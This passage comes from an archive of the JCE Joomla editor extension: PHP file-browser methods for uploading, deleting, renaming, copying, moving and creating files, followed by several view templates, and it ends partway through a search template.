        } elseif (JFile::exists($this->getPluginPath() . '/img/icons/' . $ext . '.gif')) {
            return $this->image('plugins.icons/' . $ext . '.gif');
        } else {
            return $this->image('libraries.icons/def.gif');
        }
    }

    private function validateUploadedFile($file)
    {
        // check the POST data array
        if (empty($file) || empty($file['tmp_name'])) {
            throw new InvalidArgumentException('Upload Failed: No data');
        }

        // check for tmp_name and is valid uploaded file
        if (!is_uploaded_file($file['tmp_name'])) {
            @unlink($file['tmp_name']);
            throw new InvalidArgumentException('Upload Failed: Not an uploaded file');
        }

        $upload = $this->get('upload');

        // check file for various issues
        if (WFUtility::isSafeFile($file) !== true) {
            @unlink($file['tmp_name']);
            throw new InvalidArgumentException('Upload Failed: Invalid file');
        }

        // get extension
        $ext = WFUtility::getExtension($file['name']);

        // check extension is allowed
        $allowed = $this->getFileTypes('array');

        if (is_array($allowed) && !empty($allowed) && in_array(strtolower($ext), $allowed) === false) {
            @unlink($file['tmp_name']);
            throw new InvalidArgumentException(WFText::_('WF_MANAGER_UPLOAD_INVALID_EXT_ERROR'));
        }

        $size = round(filesize($file['tmp_name']) / 1024);

        if (empty($upload['max_size'])) {
            $upload['max_size'] = 1024;
        }

        // validate size
        if ($size > (int) $upload['max_size']) {
            @unlink($file['tmp_name']);

            throw new InvalidArgumentException(WFText::sprintf('WF_MANAGER_UPLOAD_SIZE_ERROR', $file['name'], $size, $upload['max_size']));
        }

        // validate mimetype
        if ($upload['validate_mimetype']) {
            wfimport('editor.libraries.classes.mime');

            if (WFMimeType::check($file['name'], $file['tmp_name']) === false) {
                @unlink($file['tmp_name']);
                throw new InvalidArgumentException(WFText::_('WF_MANAGER_UPLOAD_MIME_ERROR'));
            }
        }

        return true;
    }

    /**
     * Upload a file.
     *
     * @return array $error on failure or uploaded file name on success
     */
    public function upload()
    {
        // Check for request forgeries
        WFToken::checkToken() or die();

        // check for feature access
        if (!$this->checkFeature('upload')) {
            JError::raiseError(403, 'Access to this resource is restricted');
        }

        $filesystem = $this->getFileSystem();
        jimport('joomla.filesystem.file');

        // create a filesystem result object
        $result = new WFFileSystemResult();

        // get uploaded file
        $file = JRequest::getVar('file', '', 'files', 'array');

        // validate file
        $this->validateUploadedFile($file);

        // get file name
        $name = (string) JRequest::getVar('name', $file['name']);

        // decode
        $name = rawurldecode($name);

        // check name
        if (WFUtility::validateFileName($name) === false) {
            throw new InvalidArgumentException('Upload Failed: The file name contains an invalid extension.');
        }

        // check file name
        WFUtility::checkPath($name);

        // get extension from file name
        $ext = WFUtility::getExtension($file['name']);

        // trim extension
        $ext = trim($ext);

        // make extension websafe
        $ext = WFUtility::makeSafe($ext, $this->get('websafe_mode', 'utf-8'), $this->get('websafe_spaces'), $this->get('websafe_textcase'));

        // check extension exists
        if (empty($ext) || $ext === $file['name']) {
            throw new InvalidArgumentException('Upload Failed: The file name does not contain a valid extension.');
        }

        // strip extension
        $name = WFUtility::stripExtension($name);
        
        // make file name 'web safe'
        $name = WFUtility::makeSafe($name, $this->get('websafe_mode', 'utf-8'), $this->get('websafe_spaces'), $this->get('websafe_textcase'));

        // check name
        if (WFUtility::validateFileName($name) === false) {
            throw new InvalidArgumentException('Upload Failed: The file name contains an invalid extension.');
        }

        // target directory
        $dir = (string) JRequest::getVar('upload-dir');
        // decode and cast as string
        $dir = rawurldecode($dir);
        // check destination path
        WFUtility::checkPath($dir);

        // check access
        if (!$this->checkPathAccess($dir)) {
            throw new InvalidArgumentException('Upload Failed: Access to the target directory is restricted');
        }

        $upload = $this->get('upload');

        // Check file number limits
        if (!empty($upload['total_files'])) {
            if ($filesystem->countFiles($dir, true) > $upload['total_files']) {
                throw new InvalidArgumentException(WFText::_('WF_MANAGER_FILE_LIMIT_ERROR'));
            }
        }

        // Check total file size limit
        if (!empty($upload['total_size'])) {
            $size = $filesystem->getTotalSize($dir);

            if (($size / 1024 / 1024) > $upload['total_size']) {
                throw new InvalidArgumentException(WFText::_('WF_MANAGER_FILE_SIZE_LIMIT_ERROR'));
            }
        }

        // add random string
        if ($upload['add_random']) {
            $name = $name . '_' . substr(md5(uniqid(rand(), 1)), 0, 5);
        }

        // rebuild file name - name + extension
        $name = $name . '.' . $ext;

        $contentType = JRequest::getVar('CONTENT_TYPE', '', 'SERVER');

        // Only multipart uploading is supported for now
        if ($contentType && strpos($contentType, 'multipart') !== false) {

            // pass to onBeforeUpload
            $this->fireEvent('onBeforeUpload', array(&$file, &$dir, &$name));

            // upload file with filesystem
            $result = $filesystem->upload('multipart', trim($file['tmp_name']), $dir, $name);

            if (!$result->state) {
                if (empty($result->message)) {
                    $result->message = WFText::_('WF_MANAGER_UPLOAD_ERROR');
                }

                $result->code = 103;
            }

            @unlink($file['tmp_name']);
        } else {
            $result->state = false;
            $result->code = 103;
            $result->message = WFText::_('WF_MANAGER_UPLOAD_ERROR');
        }

        // upload finished
        if ($result instanceof WFFileSystemResult) {
            if ($result->state === true) {
                $name = basename($result->path);

                if (empty($result->url)) {
                    $result->url = WFUtility::makePath($filesystem->getRootDir(), WFUtility::makePath($dir, $name));
                }

                $event = $this->fireEvent('onUpload', array($result->path, $result->url));

                if (!empty($event)) {
                    $this->setResult($event);
                }

                $this->setResult($name, 'files');
            } else {
                $this->setResult($result->message, 'error');
            }
        }

        return $this->getResult();
    }

    /**
     * Delete the relative file(s).
     *
     * @param $files the relative path to the file name or comma seperated list of multiple paths
     *
     * @return string $error on failure
     */
    public function deleteItem($items)
    {
        // check for feature access
        if (!$this->checkFeature('delete', 'folder') && !$this->checkFeature('delete', 'file')) {
            JError::raiseError(403, 'Access to this resource is restricted');
        }

        $filesystem = $this->getFileSystem();
        $items = explode(',', rawurldecode((string) $items));

        foreach ($items as $item) {
            // decode and cast as string
            $item = (string) rawurldecode($item);

            // check path
            WFUtility::checkPath($item);

            if ($filesystem->is_file($item)) {
                if ($this->checkFeature('delete', 'file') === false) {
                    JError::raiseError(403, 'Access to this resource is restricted');
                }

                $path = $item;
            } elseif ($filesystem->is_dir($item)) {
                if ($this->checkFeature('delete', 'folder') === false) {
                    JError::raiseError(403, 'Access to this resource is restricted');
                }

                $path = dirname($item);
            }

            // check access
            if (!$this->checkPathAccess($path)) {
                throw new InvalidArgumentException('Delete Failed: Access to the target directory is restricted');
            }

            $result = $filesystem->delete($item);

            if ($result instanceof WFFileSystemResult) {
                if (!$result->state) {
                    if ($result->message) {
                        $this->setResult($result->message, 'error');
                    } else {
                        $this->setResult(JText::sprintf('WF_MANAGER_DELETE_' . strtoupper($result->type) . '_ERROR', basename($item)), 'error');
                    }
                } else {
                    $this->setResult($this->fireEvent('on' . ucfirst($result->type) . 'Delete', array($item)));
                    $this->setResult($item, $result->type);
                }
            }
        }

        return $this->getResult();
    }

    /**
     * Rename a file.
     *
     * @param string $src  The relative path of the source file
     * @param string $dest The name of the new file
     *
     * @return string $error
     */
    public function renameItem()
    {
        // check for feature access
        if (!$this->checkFeature('rename', 'folder') && !$this->checkFeature('rename', 'file')) {
            JError::raiseError(403, 'Access to this resource is restricted');
        }

        $args = func_get_args();

        $source = array_shift($args);
        $destination = array_shift($args);

        // decode and cast as string
        $source = (string) rawurldecode($source);
        // decode and cast as string
        $destination = (string) rawurldecode($destination);

        WFUtility::checkPath($source);
        WFUtility::checkPath($destination);

        // check access
        if (!$this->checkPathAccess($destination)) {
            throw new InvalidArgumentException('Rename Failed: Access to the target directory is restricted');
        }

        // check for extension in destination name
        if (WFUtility::validateFileName($destination) === false) {
            JError::raiseError(403, 'INVALID FILE NAME');
        }

        $filesystem = $this->getFileSystem();

        if ($filesystem->is_file($source)) {
            if ($this->checkFeature('rename', 'file') === false) {
                JError::raiseError(403, 'Access to this resource is restricted');
            }

            $path = dirname($source);
        } elseif ($filesystem->is_dir($source)) {
            if ($this->checkFeature('rename', 'folder') === false) {
                JError::raiseError(403, 'Access to this resource is restricted');
            }

            $path = $source;
        }

        // check access
        if (!$this->checkPathAccess($path)) {
            throw new InvalidArgumentException('Rename Failed: Access to the target directory is restricted');
        }

        // apply filesystem options
        $destination = WFUtility::makeSafe($destination, $this->get('websafe_mode'), $this->get('websafe_spaces'), $this->get('websafe_textcase'));
        $result = $filesystem->rename($source, $destination, $args);

        if ($result instanceof WFFileSystemResult) {
            if (!$result->state) {
                $this->setResult(WFText::sprintf('WF_MANAGER_RENAME_' . strtoupper($result->type) . '_ERROR', basename($source)), 'error');
                if ($result->message) {
                    $this->setResult($result->message, 'error');
                }
            } else {
                $this->setResult($this->fireEvent('on' . ucfirst($result->type) . 'Rename', array($destination)));
                $this->setResult(basename($result->path), $result->type);
            }
        }

        return $this->getResult();
    }

    /**
     * Copy a file.
     *
     * @param string $files The relative file or comma seperated list of files
     * @param string $dest  The relative path of the destination dir
     *
     * @return string $error on failure
     */
    public function copyItem($items, $destination, $overwrite = false)
    {
        // check for feature access
        if (!$this->checkFeature('move', 'folder') && !$this->checkFeature('move', 'file')) {
            JError::raiseError(403, 'Access to this resource is restricted');
        }

        $filesystem = $this->getFileSystem();

        $items = explode(',', rawurldecode((string) $items));

        // decode and cast as string
        $destination = (string) rawurldecode($destination);

        if (empty($destination)) {
            $destination = '/';
        }

        // check destination path
        WFUtility::checkPath($destination);

        // check access
        if (!$this->checkPathAccess($destination)) {
            throw new InvalidArgumentException('Copy Failed: Access to the target directory is restricted');
        }

        // check for extension in destination name
        if (WFUtility::validateFileName($destination) === false) {
            JError::raiseError(403, 'INVALID PATH NAME');
        }

        foreach ($items as $item) {
            // decode and cast as string
            $item = (string) rawurldecode($item);

            // check source path
            WFUtility::checkPath($item);

            if ($filesystem->is_file($item)) {
                if ($this->checkFeature('move', 'file') === false) {
                    JError::raiseError(403, 'Access to this resource is restricted');
                }

                $path = dirname($item);
            } elseif ($filesystem->is_dir($item)) {
                if ($this->checkFeature('move', 'folder') === false) {
                    JError::raiseError(403, 'Access to this resource is restricted');
                }

                $path = $item;
            }

            if ($filesystem->is_file(WFUtility::makePath($destination, basename($item))) && $overwrite === false) {
                $this->setResult($item, 'confirm');

                return $this->getResult();
            }

            // check access
            if (!$this->checkPathAccess($path)) {
                throw new InvalidArgumentException('Copy Failed: Access to the target directory is restricted');
            }

            $result = $filesystem->copy($item, $destination);

            if ($result instanceof WFFileSystemResult) {
                if (!$result->state) {
                    if ($result->message) {
                        $this->setResult($result->message, 'error');
                    } else {
                        $this->setResult(JText::sprintf('WF_MANAGER_COPY_' . strtoupper($result->type) . '_ERROR', basename($item)), 'error');
                    }
                } else {
                    $this->setResult($this->fireEvent('on' . ucfirst($result->type) . 'Copy', array($item)));
                    $path = $filesystem->toRelative($result->path);
                    $this->setResult($path, $result->type);
                }
            }
        }

        return $this->getResult();
    }

    /**
     * Copy a file.
     *
     * @param string $files The relative file or comma seperated list of files
     * @param string $dest  The relative path of the destination dir
     *
     * @return string $error on failure
     */
    public function moveItem($items, $destination, $overwrite = false)
    {
        // check for feature access
        if (!$this->checkFeature('move', 'folder') && !$this->checkFeature('move', 'file')) {
            JError::raiseError(403, 'Access to this resource is restricted');
        }

        $filesystem = $this->getFileSystem();

        $items = explode(',', rawurldecode((string) $items));

        // decode and cast as string
        $destination = (string) rawurldecode($destination);

        if (empty($destination)) {
            $destination = '/';
        }

        // check destination path
        WFUtility::checkPath($destination);

        // check access
        if (!$this->checkPathAccess($destination)) {
            throw new InvalidArgumentException('Move Failed: Access to the target directory is restricted');
        }

        // check for extension in destination name
        if (WFUtility::validateFileName($destination) === false) {
            JError::raiseError(403, 'INVALID PATH NAME');
        }

        foreach ($items as $item) {
            // decode and cast as string
            $item = (string) rawurldecode($item);
            // check source path
            WFUtility::checkPath($item);

            if ($filesystem->is_file($item)) {
                if ($this->checkFeature('move', 'file') === false) {
                    JError::raiseError(403, 'Access to this resource is restricted');
                }
            } elseif ($filesystem->is_dir($item)) {
                if ($this->checkFeature('move', 'folder') === false) {
                    JError::raiseError(403, 'Access to this resource is restricted');
                }
            }

            if ($filesystem->is_file(WFUtility::makePath($destination, basename($item))) && $overwrite === false) {
                $this->setResult($item, 'confirm');

                return $this->getResult();
            }

            $result = $filesystem->move($item, $destination);

            if ($result instanceof WFFileSystemResult) {
                if (!$result->state) {
                    if ($result->message) {
                        $this->setResult($result->message, 'error');
                    } else {
                        $this->setResult(JText::sprintf('WF_MANAGER_MOVE_' . strtoupper($result->type) . '_ERROR', basename($item)), 'error');
                    }
                } else {
                    $this->setResult($this->fireEvent('on' . ucfirst($result->type) . 'Move', array($item)));
                    $path = $filesystem->toRelative($result->path);
                    $this->setResult($path, $result->type);
                }
            }
        }

        return $this->getResult();
    }

    /**
     * New folder.
     *
     * @param string $dir     The base dir
     * @param string $new_dir The folder to be created
     *
     * @return string $error on failure
     */
    public function folderNew()
    {
        if ($this->checkFeature('create', 'folder') === false) {
            JError::raiseError(403, 'Access to this resource is restricted');
        }

        $args = func_get_args();

        $dir = array_shift($args);
        $new = array_shift($args);

        // decode and cast as string
        $dir = (string) rawurldecode($dir);
        $new = (string) rawurldecode($new);

        // check access
        if (!$this->checkPathAccess($dir)) {
            throw new InvalidArgumentException('Action Failed: Access to the target directory is restricted');
        }

        $filesystem = $this->getFileSystem();

        $name = WFUtility::makeSafe($new, $this->get('websafe_mode'), $this->get('websafe_spaces'), $this->get('websafe_textcase'));

        // check for extension in destination name
        if (WFUtility::validateFileName($name) === false) {
            JError::raiseError(403, 'INVALID FOLDER NAME');
        }

        $result = $filesystem->createFolder($dir, $name, $args);

        if ($result instanceof WFFileSystemResult) {
            if (!$result->state) {
                if ($result->message) {
                    $this->setResult($result->message, 'error');
                } else {
                    $this->setResult(JText::sprintf('WF_MANAGER_NEW_FOLDER_ERROR', basename($new)), 'error');
                }
            } else {
                $this->setResult($this->fireEvent('onFolderNew', array($new)));
            }
        }

        return $this->getResult();
    }

    private function getUploadValue()
    {
        $upload = trim(ini_get('upload_max_filesize'));
        $post = trim(ini_get('post_max_size'));

        $upload = WFUtility::convertSize($upload);
        $post = WFUtility::convertSize($post);

        if (intval($upload) <= intval($post)) {
            return $upload;
        }

        return $post;
    }

    private function getUploadDefaults()
    {
        $filesystem = $this->getFileSystem();
        $features = $filesystem->get('upload');

        $upload_max = $this->getUploadValue();

        $upload = $this->get('upload');

        // get max size as kilobytes
        if (empty($upload['max_size'])) {
            $upload['max_size'] = 1024;
        }

        // get upload size as integer
        $size = intval(preg_replace('/[^0-9]/', '', $upload['max_size']));

        // must not exceed server maximum if > 0
        if (!empty($upload_max)) {
            if ((int) $size * 1024 > (int) $upload_max) {
                $size = $upload_max / 1024;
            }
        }

        $upload = array_merge($upload, array(
            'max_size' => $size,
            'filetypes' => $this->listFileTypes(),
        ));

        if (isset($features['elements'])) {
            $upload['elements'] = $features['elements'];
        }

        if (isset($features['dialog'])) {
            $upload['dialog'] = $features['dialog'];
        }

        return $upload;
    }

    public function getDimensions($file)
    {
        return $this->getFileSystem()->getDimensions($file);
    }

    // Set File Browser config
    private function setConfig($config = array())
    {
        // apply passed in properties (this must be done before initialising filesystem!)
        if (!empty($config)) {
            $this->setProperties($config);
        }

        $filesystem = $this->getFileSystem();

        $default = array(
            'upload' => $this->getUploadDefaults(),
        );

        $properties = array('base', 'delete', 'rename', 'folder_new', 'copy', 'move');

        foreach ($properties as $property) {
            if ($filesystem->get($property)) {
                $default[$property] = $filesystem->get($property);
            }
        }

        // apply default properties
        $this->setProperties($default);
    }
}
editor/libraries/views/popups/index.html000060400000000054150750527150014470 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/views/popups/tmpl/popups.php000060400000002402150750527150015505 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

?>
<div class="uk-form-row uk-margin-small-bottom">
<label for="popup_list" class="uk-form-label uk-width-1-5 hastip" title="<?php echo WFText::_('WF_POPUP_TYPE_DESC'); ?>"><?php echo WFText::_('WF_POPUP_TYPE'); ?></label>
	<div class="uk-form-controls uk-width-2-5">
		<?php echo $this->popups->getPopupList(); ?>
	</div>
</div>

<div class="uk-form-row uk-margin-small-bottom" style="display:<?php echo ($this->popups->get('text') === false) ? 'none' : ''?>;">
	<label for="popup_text" class="hastip uk-form-label uk-width-1-5"
			title="<?php echo WFText::_('WF_POPUP_TEXT_DESC'); ?>"><?php echo WFText::_('WF_POPUP_TEXT'); ?></label>
		<div class="uk-form-controls uk-width-4-5">
			<input id="popup_text" type="text" value="" />
		</div>
</div>
<?php echo $this->popups->getPopupTemplates(); ?>
editor/libraries/views/popups/tmpl/index.html000060400000000054150750527150015444 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/views/plugin/tmpl/browser.php000060400000001755150750527150015624 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('WF_EDITOR') or die('RESTRICTED');
?>
<div class="uk-position-cover uk-browser uk-browser-external">
	<?php $this->filebrowser->render(); ?>

	<input type="hidden" value="" class="filebrowser" data-filebrowser />
</div>
<div class="actionPanel uk-modal-footer">
	<button class="uk-button" id="refresh"><?php echo WFText::_('WF_LABEL_REFRESH')?></button>
	<button class="uk-button confirm" id="insert"><?php echo WFText::_('WF_LABEL_INSERT')?></button>
	<button class="uk-button cancel" id="cancel"><?php echo WFText::_('WF_LABEL_CANCEL')?></button>
</div>
editor/libraries/views/plugin/tmpl/index.html000060400000000054150750527150015414 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/views/plugin/tmpl/manager.php000060400000002204150750527150015541 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('WF_EDITOR') or die('RESTRICTED');
?>
<div class="uk-position-cover uk-browser uk-browser-<?php echo $this->filebrowser->get('position'); ?>">
<?php
    // render tabs and panels
    WFTabs::getInstance()->render();

    if ($this->filebrowser->get('position') !== 'external') {
        $this->filebrowser->render();
    }
?>
</div>
<div class="actionPanel uk-modal-footer">
	<button class="uk-button uk-button-refresh" id="refresh"><?php echo WFText::_('WF_LABEL_REFRESH')?></button>
	<button class="uk-button uk-button-confirm" id="insert"><?php echo WFText::_('WF_LABEL_INSERT')?></button>
	<button class="uk-button uk-button-cancel" id="cancel"><?php echo WFText::_('WF_LABEL_CANCEL')?></button>
</div>
editor/libraries/views/plugin/index.php000060400000001647150750527150014274 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('WF_EDITOR') or die('RESTRICTED');

?>
<!DOCTYPE html>
<html lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
	<head>
		<meta http-equiv="content-type" content="text/html; charset=utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
		<!-- [head] -->
	</head>
	<body lang="<?php echo $this->language; ?>" id="jce" class="uk-jce uk-form uk-form-horizontal" data-plugin="<?php echo $this->getName(); ?>">
		<!-- [body] -->
	</body>
</html>
editor/libraries/views/plugin/index.html000060400000000054150750527150014440 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/views/filebrowser/index.html000060400000000054150750527150015465 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/views/filebrowser/tmpl/default.php000060400000020363150750527150016606 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
  <form class="uk-form uk-form-horizontal" onsubmit="return false;" action="<?php echo $this->action; ?>" target="_self" method="post" enctype="multipart/form-data">
    <div id="browser">
      <nav class="uk-navbar uk-grid uk-grid-collapse uk-width-1-1">
        <div id="browser-message" class="uk-width-5-10 uk-navbar-content uk-padding-remove">
          <div id="layout-full-toggle" class="uk-button" role="button">
            <i class="uk-icon uk-icon-small uk-icon-angle-double-up"></i>
            <i class="uk-icon uk-icon-small uk-icon-angle-double-down"></i>
          </div>

          <ul class="uk-breadcrumb pathway uk-margin-remove">
            <li title="<?php echo WFText::_('WF_LABEL_HOME', 'Home'); ?>">
              <i class="uk-icon uk-icon-spinner"></i>
              <i class="uk-icon uk-icon-home"></i>
            </li>
          </ul>
        </div>
        <div id="browser-actions" class="uk-width-5-10 uk-navbar-content uk-navbar-flip uk-text-right uk-padding-remove"></div>
      </nav>

      <main class="uk-grid uk-grid-collapse uk-width-1-1 uk-position-cover uk-flex">
        <div class="uk-width-3-10">
          <div class="uk-navbar">
            <div class="uk-navbar-content uk-width-1-1 uk-text-center">
              <?php echo WFText::_('WF_LABEL_FOLDERS'); ?>
            </div>
          </div>
          <div id="browser-tree">
            <div id="tree-body" class="tree"></div>
          </div>
        </div>
        <div class="uk-flex-item-auto uk-width-4-10 uk-position-relative">
          <div class="uk-navbar">
            <div class="uk-navbar-content uk-width-1-1 uk-grid uk-grid-collapse uk-flex uk-padding-remove uk-position-relative" id="browser-list-actions">
              <!-- Check-All -->
              <div id="check-all" class="uk-width-0-10 uk-button uk-button-link">
                <!--span class="checkbox" role="checkbox" aria-checked="false"></span-->
                <input type="checkbox" />
              </div>

              <!-- Sort Extension -->
              <div class="uk-width-1-10 uk-button uk-padding-remove uk-text-left" id="sort-ext" data-sort="extension" role="button" data-sort-type="extension" aria-labelledby="sort-ext-label">
                <i class="uk-icon-sort-alpha-asc"></i>
                <i class="uk-icon-sort-alpha-desc"></i>
                <span id="sort-ext-label" class="uk-hidden"><?php echo WFText::_('WF_LABEL_EXTENSION'); ?></span>
              </div>

              <!-- Sort Name -->
              <div class="uk-flex-item-auto uk-button uk-padding-remove uk-text-left" id="sort-name" data-sort="name" role="button" data-sort-type="string" aria-labelledby="sort-name-label">
                <i class="uk-icon-sort-alpha-asc"></i>
                <i class="uk-icon-sort-alpha-desc"></i>
                <span id="sort-name-label">&nbsp;<?php echo WFText::_('WF_LABEL_NAME'); ?></span>
              </div>

              <!-- Sort Date -->
              <div class="uk-width-2-10 uk-button uk-padding-remove uk-text-left" id="sort-date" data-sort="modified" role="button" data-sort-type="date" aria-labelledby="sort-date-label" aria-hidden="true">
                <i class="uk-icon-sort-numeric-asc"></i>
                <i class="uk-icon-sort-numeric-desc"></i>
                <span id="sort-data-label">&nbsp;<?php echo WFText::_('WF_LABEL_DATE'); ?></span>
              </div>

              <!-- Sort Size -->
              <div class="uk-width-3-10 uk-button uk-text-left" id="sort-size" role="button" data-sort="size" data-sort-type="number" aria-labelledby="sort-size-label" aria-hidden="true">
                <i class="uk-icon-sort-numeric-asc"></i>
                <i class="uk-icon-sort-numeric-desc"></i>
                <span id="sort-size-label">&nbsp;<?php echo WFText::_('WF_LABEL_SIZE'); ?></span>
              </div>

              <div class="uk-padding-remove uk-text-right uk-position-top-right">
                <!-- Toggle Details -->
                <div class="uk-button uk-active" id="show-details" role="button">
                  <i class="uk-icon-columns details"></i>
                </div>
                <!-- Search -->
                <div class="uk-button" id="show-search" role="button">
                  <i class="uk-icon-search"></i>
                </div>
              </div>

              <div id="searchbox" class="uk-form-icon uk-form-icon-flip uk-hidden uk-flex-item-auto uk-position-absolute uk-position-top" role="popup">
                <input type="search" id="search" class="uk-width-1-1" />
                <i class="uk-icon uk-icon-close"></i>
              </div>
            </div>
          </div>

          <div id="browser-list"></div>

          <div id="browser-list-limit" class="uk-navbar">
            <div class="uk-width-1-1 uk-grid uk-grid-collapse">
              <ul class="limit-left uk-pagination uk-pagination-left uk-width-1-4">
                <li class="limit-left-end uk-invisible" role="button">
                  <a href=""><i class="uk-icon-fast-backward"></i></a>
                </li>
                <li class="limit-left uk-invisible" role="button">
                  <a href=""><i class="uk-icon-backward"></i></a>
                </li>
              </ul>
              <div class="limit-text uk-navbar-content uk-width-2-4">
                <label for="browser-list-limit-select" class="uk-margin-small-right">
                  <?php echo WFText::_('WF_LABEL_SHOW'); ?>
                </label>
                <select id="browser-list-limit-select" class="uk-form-small">
                  <option value="10">10</option>
                  <option value="25">25</option>
                  <option value="50">50</option>
                  <option value="100">100</option>
                  <option value="all">
                    <?php echo WFText::_('WF_OPTION_ALL'); ?>
                  </option>
                </select>
              </div>
              <ul class="limit-right uk-pagination uk-pagination-right uk-width-1-4">
                <li class="limit-right uk-invisible" role="button">
                  <a href=""><i class="uk-icon-forward"></i></a>
                </li>
                <li class="limit-right-end uk-invisible" role="button">
                  <a href=""><i class="uk-icon-fast-forward"></i></a>
                </li>
              </ul>
            </div>
          </div>

        </div>

        <div class="uk-width-3-10 uk-position-relative">
          <div class="uk-navbar">
            <div class="uk-navbar-content uk-width-1-1 uk-text-center">
              <?php echo WFText::_('WF_LABEL_DETAILS'); ?>
            </div>
          </div>
          <div id="browser-details-container" class="uk-grid uk-grid-collapse uk-flex">
            <div id="browser-details" class="uk-width-8-10 uk-flex-item-auto">
              <div id="browser-details-text"></div>
              <div id="browser-details-comment"></div>
            </div>

            <div id="browser-buttons" class="uk-text-center"></div>
          </div>
          <div id="browser-details-nav" class="uk-navbar">
            <div class="uk-navbar-content uk-width-1-1 uk-padding-remove">
              <ul class="uk-pagination uk-width-1-1 uk-display-block uk-align-left">
                <li class="details-nav-left uk-pagination-previous uk-invisible uk-width-1-10" role="button">
                  <a href=""><i class="uk-icon-backward"></i></a>
                </li>
                <li class="uk-navbar-center details-nav-text uk-width-7-10"></li>
                <li class="details-nav-right uk-pagination-next uk-invisible uk-width-1-10" role="button">
                  <a href=""><i class="uk-icon-forward"></i></a>
                </li>
              </ul>
            </div>
          </div>
        </div>
    </div>
    </main>
    <input type="hidden" name="<?php echo WFToken::getToken(); ?>" value="1" />
  </form>editor/libraries/views/filebrowser/tmpl/index.html000060400000000054150750527150016441 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/views/links/index.html000060400000000054150750527150014262 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/views/links/tmpl/links.php000060400000001115150750527150015071 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<div id="link-browser" class="tree">
    <ul class="uk-tree-root"><?php echo $this->list; ?></ul>
</div>
editor/libraries/views/links/tmpl/index.html000060400000000054150750527150015236 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/views/search/index.html000060400000000054150750527150014407 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/views/search/tmpl/index.html000060400000000054150750527150015363 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/views/search/tmpl/search.php000060400000005076150750527150015355 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<div id="search-browser" class="uk-width-1-1">
    <div class="uk-grid uk-grid-collapse">
        <div id="searchbox" class="uk-form-icon uk-form-icon-flip uk-width-3-4">
            <input type="text" id="search-input" class="uk-width-1-1" placeholder="<?php echo WFText::_('WF_LABEL_SEARCH'); ?>..." />
            <i class="uk-icon uk-icon-close" id="search-clear"></i>
            <i class="uk-icon uk-icon-spinner"></i>
        </div>

        <div class="uk-button-group uk-width-1-4">
            <button class="uk-button uk-width-2-3 uk-width-mini-1-2" id="search-button"><span><?php echo WFText::_('WF_LABEL_SEARCH'); ?></span></button>
            <button class="uk-button uk-width-1-3 uk-width-mini-1-2" id="search-options-button" title="<?php echo WFText::_('WF_LABEL_SEARCH_OPTIONS'); ?>"><i class="uk-icon uk-icon-cog"></i></button>
        </div>
    </div>

    <div id="search-options" class="uk-dropdown uk-width-1-1">
        <fieldset class="phrases">
            <legend><?php echo JText::_('WF_SEARCH_FOR'); ?>
            </legend>
            <div class="phrases-box">
                <?php echo $this->lists['searchphrase']; ?>
            </div>
            <div class="ordering-box">
                <label for="ordering" class="ordering">
                    <?php echo JText::_('WF_SEARCH_ORDERING'); ?>
                </label>
                <?php echo $this->lists['ordering']; ?>
            </div>
        </fieldset>
        <fieldset class="search_only">
